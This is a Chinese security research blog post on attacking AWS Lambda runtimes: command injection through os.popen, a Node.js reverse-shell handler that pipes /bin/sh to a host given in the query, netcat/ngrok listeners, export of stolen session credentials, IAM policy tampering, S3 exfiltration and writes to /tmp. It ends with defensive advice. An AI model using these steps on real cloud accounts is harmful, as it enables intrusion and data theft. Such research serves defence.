云原生攻防研究 — 针对AWS Lambda的运行时攻击

Posted by     "Pu Ming" on Monday, January 25, 2021

本文转自绿盟科技研究通讯公众号 《【云原生攻防研究 】针对AWS Lambda的运行时攻击》

专题信息

专题:云原生攻防研究

往期回顾:

【云原生攻防研究】未能幸免!安全容器也存在逃逸风险

【云原生攻防研究】容器环境相关的内核漏洞缓解技术

【云原生攻防研究】云原生环境渗透相关工具考察

【云原生攻防研究】针对容器的渗透测试方法

【云原生攻防研究】Istio访问授权再曝高危漏洞

【云原生攻防研究】容器逃逸技术概览

一.引言

笔者在上一篇文章《Serverless安全研究 — Serverless安全风险》中介绍了责任划分原则。对于开发者而言, Serverless因其服务端托管云厂商安全能力强的特点,实际上降低了总体的安全风险。

如各位读者所知,主流的公有云Serverless提供商,像AWS Lambda、Google Cloud Functions、Microsoft Azure Functions,均有一套自管理的函数运行环境及相应安全机制,那么这些不同厂商的函数运行环境是否安全也是业界关注的一大问题。笔者近期就此问题进行了研究,并通过实验发现这些云厂商的函数运行时都可通过服务端不安全的配置与函数已知漏洞结合去进行攻击,例如开发者在编写应用时可能因为一个不安全的函数用法加之为此函数配置了错误的权限导致敏感数据遭至大量泄漏,或在编写Serverless应用时引入了不安全的第三方库导致越权攻击,在这些场景中,攻击者会不断对云厂商提供的运行时环境进行探测以寻求脆弱点并进行利用。

由于篇幅限制,笔者只选择了相对热度较高的AWS Lambda运行时攻击进行说明,希望可以给各位读者带来思考。

二.背景知识

2.1 短生命周期特性

假设攻击者以某种方式获取到了Serverless函数运行环境的shell权限,传统云计算模式下,由于服务器长时间处于运行状态,攻击者有大量时间去思考如何进行持久化攻击。在服务端安全防护不到位的情形下,攻击者可以运行恶意进程长达数月或数年,从而对敏感数据进行持久性窃取;Serverless模式下,函数运行时间和存活时间是短暂的,访问凭证的生命周期也是短暂的,2020年的RSA大会上,来自Puma Security的首席安全研究员Eric Johnson分享了关于如何防护Serverless架构的议题《Defending Serverless Infrastructure in the Cloud》[6],其中作者针对AWS Lambda、Google Cloud Functions、Microsoft Azure Functions三个主流Serverless云厂商的函数存活时间和访问凭证生命周期进行了统计,如下图所示:

image
图1. 主流Serverless云厂商函数存活生命周期统计

image
图2. 主流Serverless云厂商函数访问凭证生命周期统计

由图1,图2所示,AWS Lambda的函数存活时间及访问凭证生命周期分别为11分钟和12小时,相比于Azure Functions和GCP Functions均要长一些,这也从侧面反映了AWS Lambda在冷启动问题上处理的较好,用户体验更佳。

以上我们得知Serverless模式的短生命周期特性,那么回过头来我们需要思考的问题是:攻击者如何在短时间内对AWS Lambda运行时进行攻击;攻击者是否只能在11分钟内进行攻击;如果攻击过程耗时较长超出了函数默认设置,在函数运行环境重启后,之前的攻击是否仍然生效;如何拿到访问凭证及如何去利用;针对以上问题,我们需要逐个探索并验证才能得到最终答案。

2.2 Lambda元数据

Lambda拥有非常完善的文档体系[11],从中我们可以得到很多重要内容,例如Lambda函数源码路径为“/var/task”; Lambda的账户凭证是以环境变量的方式存储;AWS Lambda的文件系统因为安全原因设置为只读,但其为了追求更好的冷热启动效果,建立了一个可写的缓存路径“/tmp”[7];Lambda的默认用户为sbx_userxxxx等等。

2.3 AWS CLI

AWS CLI是用于统一管理AWS服务和资源的工具,为开源项目[19],除了在AWS控制台上管理Lambda函数,我们也可以在终端使用AWS CLI完成。

2.4 AWS IAM

Identity and Access Management(IAM)为AWS账户的一项功能,IAM可使用户安全的对AWS资源和服务进行管理,通常我们可以创建和管理AWS用户和组,并设置其对资源的访问权限,例如我们在AWS 上部署了一个Lambda函数, 此函数需要对AWS的S3资源进行访问,所以我们要向Lambda函数授予访问S3的权限。IAM配置在AWS中通常展现为一个JSON文件:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": "*",
            "Resource": "*"
        }
    ]
}

以上策略为AWS的AdministratorAccess策略,其提供对AWS服务和资源的所有访问权限。需要注意的是,策略中将资源(Resource)和行为(Action)配置为“*”实际上是非常危险的方式,一旦攻击者拥有了访问凭证,便可通过AWS CLI对IAM进行创建、删除、修改等操作,例如:

##创建一个IAM用户
aws iam create-user --user-name xxx 
##创建IAM登录方式
aws iam create-login-profile --user-name xxx --password xxx  
##为IAM用户创建访问Token
aws iam create-access-key --user-name xxx 
##将IAM用户添加至Admin用户组
aws iam add-user-to-group --user-name xxx  --group-name Admins 

三.攻击模型

笔者近期针对AWS Lambda调研了常用的运行时攻击手法,总结并绘制了一幅攻击模型图,如下所示:

image
图3. AWS Lambda运行时攻击模型

由以上攻击模型我们可以看出攻击者只要拿到运行时的shell权限,便可以针对「可写目录」、「环境变量」、「AWS Lambda资源」、「AWS IAM」加以利用以进行一系列攻击,所以拿到shell权限为整个攻击流程的第一步也是最为核心的一步,由上图不难看出shell权限的获取分以下两种攻击场景:

1. 攻击者利用开发者编写的代码漏洞获取shell权限

攻击流程如下:

  • 开发者编写的Lambda函数代码含有漏洞,例如命令注入漏洞;
  • 攻击者使用了此Lambda功能,通过不断探测及尝试发现了函数漏洞,并最终拿到shell权限;
  • 通过终端或界面输入shell命令获得函数运行时的环境变量,通过AWS CLI结合IAM进行越权访问、隐私数据窃取;通过可写路径上传恶意脚本进行更高维度的攻击;

2. 攻击者恶意构造函数代码用于建立反向shell

攻击流程如下:

  • 攻击者恶意构造应用程序(该函数用于成功的建立反向shell)并部署至AWS Lambda平台中;
  • 攻击者通过提前构造好的请求在本地环境中触发已部署的Lambda函数,从而拿到shell权限;
  • 攻击者通过运行时环境的可写目录写入恶意脚本,利用Lambda服务器充当僵尸主机对外进行DDoS攻击;

为了让读者对shell权限的获取过程有一个清晰的理解,笔者将再下一节进行详细介绍。

四.shell权限获取

4.1 攻击者利用Lambda函数漏洞场景下的shell权限获取

针对此类攻击场景(攻击模型章节中的场景一),我们试想一个聊天机器人的场景,开发者通过编写Lambda函数实现聊天机器人的自动回复功能,但在编写程序时错误的使用了python的os.popen()方法,导致了命令注入漏洞,漏洞代码[18]如下所示:

def react(message, bot):   
"""React to messages sent directly to the bot."""
    try:
        ……
        url = ……
        try:
            r = requests.get(url)
            F = open('/tmp/' + filename, 'w')
            F.write(r.text)
            F.close()
        except Exception as e:
            print('Could not write file because {e}'.format(e=e))
        try:
            content = os.popen("cat /tmp/" + filename).read()##将用户输入查找的文件名不经任何校验当作字符串传入shell中,引发了命令注入漏洞
        ……
        except Exception as e:
            print(e)
        print(content)
        print(os.popen("ls /tmp").read())
        slack_message = "Here's the changelog you asked for: \n {changelog}".format(changelog=content) ##将文件内容以changelog格式输出至屏幕
        ……
        response = {
            "statusCode": 200,
        ……
        }
        return response
    except Exception as e:
        print(e)

由上述代码不难看出,攻击者只需对filename的内容进行简单构造便可以控制Lambda的运行时,例如攻击者可能会在输入端输入以下filename(此处通过python环境模拟聊天机器人UI界面操作):

>>> import os >>> os.popen("cat /tmp/1.py").read()##攻击者将查看的文件名设置为“1.py”
'xxxxxxxxxxxxxxxxxxthis is just a testxxxxxxxxxxxxxxxxxxxxxxxx\n' 

>>> os.popen("cat /tmp/1.py;ls -al").read()##攻击者将查看的文件名改为“1.py;ls -al“以获取当前目录
'xxxxxxxxxxxxxxxxxxthis is just a testxxxxxxxxxxxxxxxxxxxxxxxx\n
total 224
drwxr-xr-x  20 nsfocus nsfocus  4096 Nov 27 05:51 .
drwxr-xr-x   3 root    root     4096 Sep 16  2019 ..
drwxr-xr-x   2 root    root     4096 Nov 24 06:44 .aws
-rw-------   1 root    root    41940 Nov 24 12:03 .bash_history
-rw-r--r--   1 nsfocus nsfocus   220 Apr  4  2018 .bash_logout
……

>>> os.popen("cat /tmp/1.py;env").read()##攻击者将查看的文件名设置为“1.py;env”以获取当前环境变量
'xxxxxxxxxxxxxxxxxxthis is just a testxxxxxxxxxxxxxxxxxxxxxxxx
LESSCLOSE=/usr/bin/lesspipe %s %s
LANG=en_US.UTF-8
SUDO_GID=1000
DISPLAY=localhost:10.0
USERNAME=root
…… 
>>> os.popen("cat /tmp/1.py;id").read()##攻击者将查看的文件名设置为“1.py;id“以获取当前用户
'xxxxxxxxxxxxxxxxxxthis is just a testxxxxxxxxxxxxxxxxxxxxxxxx
uid=0(root) gid=0(root) groups=0(root)\n'

由以上代码中的filename输入及终端返回的输出可以看出此方法同样也适用于攻击Lambda运行时。一旦攻击者拿到了shell权限,再往后就是通过AWS CLI进行的一系列xxx操作了,具体见攻击场景复现部分。

4.2 攻击者恶意构造Lambda函数场景下的shell权限获取

针对此类攻击场景(攻击模型章节中的场景二),笔者借鉴了Puma Security公司的开源项目serverless-prey[5],此项目以研究为目的,以攻击者视角模拟了真实被滥用的Serverless场景,为了让各位读者清晰的了解shell权限的获取过程,笔者搭建了实验环境,主要分为以下三个部分:

4.2.1 安装AWS CLI

AWS CLI有v1,v2两个版本,笔者安装的mac OS环境的v2版本,参照官方文档[9],安装命令如下:

curl "https://awscli.amazonaws.com/AWSCLIV2.pkg" -o "AWSCLIV2.pkg"
sudo installer -pkg AWSCLIV2.pkg -target /

安装完成后,我们需要配置AWS CLI以便与我们的Lambda账户进行正常通信:

$ aws configure
AWS Access Key ID [None]: 「AWS账户的访问ID」
AWS Secret Access Key [None]: 「AWS账户的AWS Secret Access Key」
Default region name [None]: 「AWS账户的所在区域」
Default output format [None]: 「AWS账户的所在区域」

AWS账户信息可在创建IAM用户时查看,如下图所示:

image
图4 AWS账户信息

配置完成后我们尝试通过AWS CLI与AWS服务端进行通信,以下命令含义为列出AWS账户中所有的S3存储桶资源,我们可以看到配置已生效:

image
图5 AWS CLI示例

4.2.2 部署panther

首先在本地部署serverless-prey项目:

git clone https://github.com/pumasecurity/serverless-prey.git

切换到该项目下的AWS Lambda目录(panther目录):

image
图6 AWS Lambda NodeJS项目

我们可以看到panther路径下包含一个NodeJS项目,下一步需要安装NodeJS项目的依赖包:

npm install --arch=x64 --platform=linux --target=12.13.0  sharp

图6中笔者已经安装了node_modules依赖包,在项目部署至AWS Lambda之前,我们不妨看看这个函数中的内容[10],由于函数较长,笔者只抽出核心部分:

if (event.queryStringParameters) {
    host = event.queryStringParameters.host;  //获取Get请求的host参数
    port = event.queryStringParameters.port; //获取Get请求的port参数
}

if (!host || !port) {
    writeLog(2, 'Invalid request: Missing host or port parameter.');
    return {
    statusCode: 400,
    body: JSON.stringify({
        message: 'Must provide the host and port for the target TCP server as query parameters.',
    }),
    };
}

const portNum = parseInt(port, 10);

const sh = cp.spawn('/bin/sh', []);
const client = new net.Socket(); //建立一个socket连接

try {
    await new Promise((resolve, reject) => {
    client.connect(portNum, host, () => { //连接host和port组成的url
        client.pipe(sh.stdin); //建立反向shell操作
        sh.stdout.pipe(client); ); //建立反向shell操作
        sh.stderr.pipe(client); ); //建立反向shell操作
    });

可以看出此函数的主要目的为通过建立反向shell连接攻击者的机器。

除了创建该函数之外,为了模拟真实攻击环境,应用程序中还包含AWS的S3存储桶及API Gateway等资源,具体可查看项目中的resource.yamlserverless.yaml文件,紧接着我们将此项目部署至AWS Lambda:

root ~/work/project/reverse_lambda/serverless-prey/panther export AWS_PROFILE=default ##导入AWS的配置项用AWS CLI使用
root  ~/work/project/reverse_lambda/serverless-prey/panther export WITH_BUCKET=true ##创建受保护的AWS存储桶,Lambda执行角色可以访问
root  ~/work/project/reverse_lambda/serverless-prey/panther export BUCKET_SUFFIX=$(uuidgen | cut -b 25-36 | awk '{print tolower($0)}')  true  ##创建受保护的AWS存储桶,Lambda执行角色可以访问

root  ~/work/project/reverse_lambda/serverless-prey/panther npx serverless deploy ##部署应用程序
Serverless: Packaging service...
Serverless: Excluding development dependencies...
Serverless: Creating Stack...
Serverless: Checking Stack create progress...
........
Serverless: Stack create finished...
Serverless: Uploading CloudFormation file to S3...
Serverless: Uploading artifacts...
Serverless: Uploading service panther.zip file to S3 (1.59 KB)...
Serverless: Validating template...
Serverless: Updating Stack...
Serverless: Checking Stack update progress...
.............................................
Serverless: Stack update finished...
Service Information
service: panther
stage: dev
region: us-east-1
stack: panther-dev
resources: 16
api keys:
panther: 9KRZWx5yc47K3D3yuxy6m4fanDJrJx6h50jS0vey  ##API密钥,非常重要,用于API请求时携带
endpoints:
GET - https://lbfq2wa99e.execute-api.us-east-1.amazonaws.com/dev/api/Panther  ##API请求路径
functions:
panther: panther-dev-panther
layers:
None
S3 Sync: Syncing directories and S3 prefixes...
...........
S3 Sync: Synced.
Serverless: Run the "serverless" command to setup monitoring, troubleshooting and testing.

我们可以在AWS Lambda控制台中查看应用程序是否部署成功:

image
图7 AWS Lambda 应用部署全貌

如上图所示,所有的资源已部署完成。

4.2.3 建立反向Shell

由于笔者的本地环境已经安装了Netcat和Ngrok,故直接进行Netcat侦听:

~/work/project/reverse_lambda/serverless-prey/panther nc -l 4444

为了AWS Lambda可以访问到我们本地环境,将本地端口映射至互联网,如下所示:

~/work/project/reverse_lambda/serverless-prey/panther ngrok tcp 4444 

image
图8 本地开启ngrok

图8可以看出通过Ngrok映射的临时互联网地址为2.tcp.ngrok.io:11978

下一步就是最重要的反弹操作了,我们通过构造URL触发Lambda函数,同时观察Netcat窗口,如下图所示:

image
图9 建立反向shell过程

拿到运行时的shell权限后我们发现,仅仅30秒后连接就自动断开了,如下图所示:

image
图10 请求超时

仔细观察是因为API网关调用超时时常默认为30秒,函数的超时时常也为30秒,所以每隔30秒就需要建立一次反向shell,为了避免频繁断开,我们可通过AWS CLI将函数超时时常设置为最大值15分钟:

root ~/work/project/reverse_lambda/serverless-prey aws lambda update-function-configuration \
--function-name  panther-dev-panther \
--timeout 900 #设置超时时常为15分钟

    {
        "FunctionName": "panther-dev-panther",
        "FunctionArn": "arn:aws:lambda:us-east-1:655125143201:function:panther-dev-panther",
        "Runtime": "nodejs12.x",
        "Role": "arn:aws:iam::655125143201:role/panther-dev-us-east-1-lambdaRole",
        "Handler": "handler.panther",
        "CodeSize": 1585,
        "Description": "",
        "Timeout": 900, ##执行完后根据终端输出可以看出超时时长已更改为15分钟
        "MemorySize": 1024,
        "LastModified": "2020-11-24T09:02:45.544+0000",
        "CodeSha256": "62CcxpIHuJGTRRtg7zaopnUiCzVYAmb4l1LfBuqPkL8=",
        "Version": "$LATEST",
        "TracingConfig": {
            "Mode": "PassThrough"
        },
        "RevisionId": "1ab160cf-6953-464d-9bd6-0d09cbe5fe06",
        "State": "Active",
        "LastUpdateStatus": "Successful"
    }

五.攻击场景复现

上述的攻击者模型介绍中我们知道当攻击者拿到了shell权限后便可进行一系列攻击,其中主要通过对“可写目录”、 “AWS IAM”、“环境变量”这三者的利用达到最终目的。本章笔者通过实验做了一些验证工作,尝试复现攻击过程,主要验证内容为“未授权访问”、“窃取敏感数据”、“植入恶意木马”这三类攻击,详细内容见下文。

5.1 未授权访问攻击

在拿到了shell权限后,我们可以查看Lambda的环境变量,由于输出内容较多,笔者仅截取了部分内容,如下图所示:

image
图11 运行时环境变量

其中我们发现了访问凭证相关的环境变量,笔者进行筛选后输出如下:

image
图12 访问凭证环境变量

图12我们获得了AWS_SESSION_TOKEN、AWS_SECRET_ACCESS_KEY、AWS_ACCESS_KEY_ID三个非常重要的访问凭证,这些变量在接下来的攻击中起着至关重要的作用。我们首先在不含有访问凭证的环境中尝试查看当前AWS账户拥有的角色:

root@microservice-master:~# aws iam list-roles
An error occurred (InvalidClientTokenId) when calling the ListRoles operation: The security token included in the request is invalid.

可以看出客户端访问由于未携带token导致无法正常调用,于是我们将环境变量导入本地环境:

export AWS_ACCESS_KEY_ID=<ENTER KEY ID>
export AWS_SECRET_ACCESS_KEY=<ENTER SECRET ACCESS KEY>
export AWS_SESSION_TOKEN=<ENTER SESSION TOKEN>

再次查看AWS账户拥有的角色,由于输出内容较多,笔者只截取了重要部分,如下所示:

root@microservice-master:~# aws iam list-roles
{   
    "Path": "/",
    "RoleName": "panther-dev-us-east-1-lambdaRole",
    "RoleId": "AROAZRCEAL2QUSHRED5QI",
    "Arn": "arn:aws:iam::655125143201:role/panther-dev-us-east-1-lambdaRole",
    "CreateDate": "2020-11-24T03:01:47+00:00",
    "AssumeRolePolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Effect": "Allow",
                "Principal": {
                    "Service": "lambda.amazonaws.com"
                },
                "Action": "sts:AssumeRole"
            }
        ]
    },
    "Description": "",
    "MaxSessionDuration": 3600
},

在本实验中,笔者想尝试利用访问凭证更改现有的角色策略以达到未授权访问的目的。主要步骤如下:

  1. 查看「panther-dev-us-east-1-lambdaRole」角色中包含的策略:

    root@microservice-master:~# aws iam list-role-policies --role-name panther-dev-us-east-1-lambdaRole
    {
        "PolicyNames": [
            "dev-panther-lambda"
        ]
    }
    (END)
    

可以看出「panther-dev-us-east-1-lambdaRole」中含有一个策略「dev-panther-lambda」;

  1. 对策略的内容进行查看:

    root@microservice-master:~# aws iam get-role-policy --role-name panther-dev-us-east-1-lambdaRole --policy-name dev-panther-lambda
    {
        "RoleName": "panther-dev-us-east-1-lambdaRole",
        "PolicyName": "dev-panther-lambda",
        "PolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Action": [
                        "logs:CreateLogStream",
                        "logs:CreateLogGroup"
                    ],
                    "Resource": [
                        "arn:aws:logs:us-east-1:655125143201:log-group:/aws/lambda/panther-dev*:*"
                    ],
                    "Effect": "Allow"
                },
            ……
            ]
        }
    }
    

从以上输出来看,我们已经得到了「dev-panther-lambda」的策略全貌;

  1. 尝试修改函数日志的写入配置,如下所示,Effect由之前的Allow改为了Deny:

    {
        "Action": [
            "logs:CreateLogStream",
            "logs:CreateLogGroup"
        ],
        "Resource": [
            "arn:aws:logs:us-east-1:655125143201:log-group:/aws/lambda/panther-dev*:*"
        ],
        "Effect": "Deny" ##由ALLOW更改为Deny
    },
    
  2. 通过命令行进行策略修改,其中test.json为更改后的策略文件:

    root@microservice-master:~# aws iam put-role-policy --role-name panther-dev-us-east-1-lambdaRole --policy-name dev-panther-lambda --policy-document file://./test.json
    

此时,如果受害者想通过界面查看函数的访问日志,却发现已经停止了访问权限:此时,如果受害者想通过界面查看函数的访问日志,却发现已经停止了访问权限:

image
图13 账户遭到权限篡改

本实验只是简单的对角色策略进行了修改,并未造成太大影响,试想在真实场景中,攻击者往往是不留情面的,在拿到访问凭证的前提下,可对策略进行任意增删查改,从而达到未授权访问的目的。

5.2 窃取敏感数据

攻击者通过终端执行命令获取到AWS账户下的所有S3存储桶:

root@microservice-master:~#aws s3 ls
2020-11-16 16:35:16 calbeebucket
2020-11-16 16:36:57 calbeebucket-resized
2020-11-24 11:01:48 panther-9e575f5c6886
2020-11-24 11:00:54 panther-dev-serverlessdeploymentbucket-1spdo3jm0znph

通过执行命令将S3存储桶的所有内容同步至本地环境:

root@microservice-master:~# aws s3 sync "s3://panther-9e575f5c6886" ~/panther
download: s3://panther-9e575f5c6886/assets/panther.jpg to ../../../../panther/assets/panther.jpg

可以看到S3存储桶的内容已经复制到笔者的本地环境了,我们打开文件看看里面有什么内容:

image
图14 窃取S3中的敏感数据

5.3 植入恶意木马

通常云厂商为了达到更好的冷热启动效果,会增加缓存以保存当前的函数运行时状态,AWS Lambda也不例外,只要查阅其官方文档不难发现AWS Lambda在运行环境中对“/tmp”目录开放了写权限,目的是为了更佳的缓存效果,为了验证“/tmp”目录可写,笔者做了一些尝试,如下所示:

root  ~/work/project/reverse_lambda/serverless-prey/panther  nc -lvvp 4444
Listening on any address 4444 (krb524)
Connection from 127.0.0.1:54774
echo "Malware" > malware.sh ##写入恶意脚本
/bin/sh: line 1: malware.sh: Read-only file system ##路径为只读
echo "Malware" > /tmp/malware.sh  ##写入恶意脚本至“/tmp”目录
ls /tmp/malware.sh ##查看恶意脚本
/tmp/malware.sh ##写入成功
echo "X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" > /tmp/malware.sh ##写入恶意字符串至脚本中
cat /tmp/malware.sh    ##查看恶意脚本
X5O!P%@AP[4\PZX54(P^)7CC)7}-STANDARD-ANTIVIRUS-TEST-FILE!+H* ##正常输出

经笔者实验发现“/tmp”目录确实可写,攻击者可以通过上传恶意脚本对运行时发起攻击,这使笔者提出两个疑问:

  1. 如果shell连接断开,之前上传的恶意shell是否仍然存在?

  2. 攻击者拿到了shell权限后留给其攻击时间有多久?

为了验证以上两个问题,笔者做了些尝试,验证步骤如下:

  1. 将函数超时时间设置为30秒:

    root  ~/work/project/reverse_lambda/serverless-prey aws lambda update-function-configuration --function-name CreateThumbnail --timeout 30
    
  2. 在拿到shell权限后向“/tmp”目录写入测试文件并查看写入成功:

    root  ~/work/project/reverse_lambda/serverless-prey/panther nc -lvvp 4444
    Listening on any address 4444 (krb524)
    Connection from 127.0.0.1:58470
    echo "Malware"_test > /tmp/malware_test.sh
    cat /tmp/malware_test.sh
    
  3. 30秒后shell断开连接,再次建立反向shell并查看“/tmp“目录下的malware_test.sh, 发现之前写入的文件依然存在:

image
图15 shell断开后查看文件是否存在

  1. 每隔1分钟重复步骤3查看文件是否存在,笔者发在持续进行至11分钟左右时查看malware_test.sh文件失败了:

    Listening on any address 4444 (krb524)
    Connection from 127.0.0.1:58470
    echo "Malware"_test > /tmp/malware_test.sh
    cat /tmp/malware_test.sh
    Malware_test
    Total received bytes: 13
    Total sent bytes: 69
    root  ~/work/project/reverse_lambda/serverless-prey/panther  nc -lvvp 4444
    Listening on any address 4444 (krb524)
    Connection from 127.0.0.1:58564
    cat /tmp/malware_test.sh
    Malware_test
    Total received bytes: 13
    Total sent bytes: 25
    root  ~/work/project/reverse_lambda/serverless-prey/panther nc -lvvp 4444
    Listening on any address 4444 (krb524)
    Connection from 127.0.0.1:58760
    cat /tmp/malware_test.sh
    Malware_test
    …………  ##10分钟后再次查看
    root  ~/work/project/reverse_lambda/serverless-prey/panther nc -lvvp 4444
    Listening on any address 4444 (krb524)
    Connection from 127.0.0.1:58760
    cat /tmp/malware_test.sh
    No such file or directory ##文件已消失
    

由该实验我们可以得出两个结论,首先shell环境断开后再次查看之前添加的恶意脚本仍然存在,另外攻击者有大致11分钟的时间发动一次完整的攻击,这对于经验丰富的攻击者来说足够了。

六.防护建议

通过本文介绍,我们可以看出攻击者在攻击过程中均需要与不安全的配置(IAM)结合利用才能达到最终目的,因此笔者认为相应安全防护应当从以下三方面考虑:

  1. 限制函数策略 开发者首先应当限制函数策略,给予其适当的访问权限,删除过于宽松的权限,这样即便拿到了访问凭证也无法对所有资源进行访问。

  2. 使用SCA(Software Composition Analysis)解决方案 SCA的原理是对现有应用程序中使用的开源依赖项进行统计,通过分析程序中依赖项的直接或间接关系得出依赖项的开源许可证及其详细信息,其中主要包括依赖项是否存在安全漏洞,最后根据漏洞数量和漏洞严重程度决定应用程序是否可以继续运行,目前市面上主流的SCA产品有OWASP Dependency Check[12]、SonaType[13]、Snyk[14]、Bunder Audit[15],其中SonaType、Snyk、Bunder Audit均为开源项目,感兴趣的读者可以尝试。

  3. 使用监控资源 Serverless场景下,应用程序的生命周期通常较短,而我们需要时刻了解函数的调用来源,这使安全监控变 的更为重要,笔者建议各位读者使用AWS Lambda的监控资源,例如CloudWatch及CloudTrail等, 通过细心查看日志信息我们可以细粒度的还原一次Lambda函数的触发过程,从而发现攻击痕迹。

七.总结

本文笔者对AWS Lambda运行时环境的攻击手法进行了简单介绍,内容纯以研究为目的,读者若有任何问题欢迎提出,互相交流学习。

八.参考文献

  1. serverlessDays Nashville 2020 - Attacking Serverless Servers by Brandon Evans https://www.youtube.com/watch?v=SV69iUrYlTQ
  2. Hacking Serverless Runtimes: Profiling AWS Lambda Azure Functions & More https://www.youtube.com/watch?v=GZBiz-0t5KA&t=1722
  3. Attacking Serverless Servers Reverse Engineering the AWS, Azure, and GCP Function Runtimes | SANS https://www.youtube.com/watch?v=MM5hWTZd_nQ
  4. Gone in 60 milliseconds: Offensive security in the serverless age (Rich Jones) https://www.youtube.com/watch?v=byJBR16xUnc
  5. https://github.com/pumasecurity/serverless-prey/tree/main/panther
  6. Defending Serverless Infrastructure in the Cloud https://www.youtube.com/watch?v=tlZ2PIXTHxc
  7. https://d1.awsstatic.com/whitepapers/Overview-AWS-Lambda-Security.pdf
  8. https://aws.amazon.com/cn/cli/
  9. https://docs.aws.amazon.com/cli/latest/userguide/install-cliv2-mac.html
  10. https://github.com/pumasecurity/serverless-prey/blob/main/panther/handler.js
  11. https://docs.aws.amazon.com/lambda/index.html
  12. https://owasp.org/www-project-dependency-check/
  13. https://www.sonatype.com/
  14. https://snyk.io/
  15. https://github.com/rubysec/bundler-audit
  16. https://github.com/dagrz/aws_pwn
  17. https://github.com/ThreatResponse/poor-webhook
  18. https://github.com/ThreatResponse/poor-webhook/blob/master/mention.py
  19. https://github.com/aws/aws-cli

「真诚赞赏,手留余香」

Ming Blog

真诚赞赏,手留余香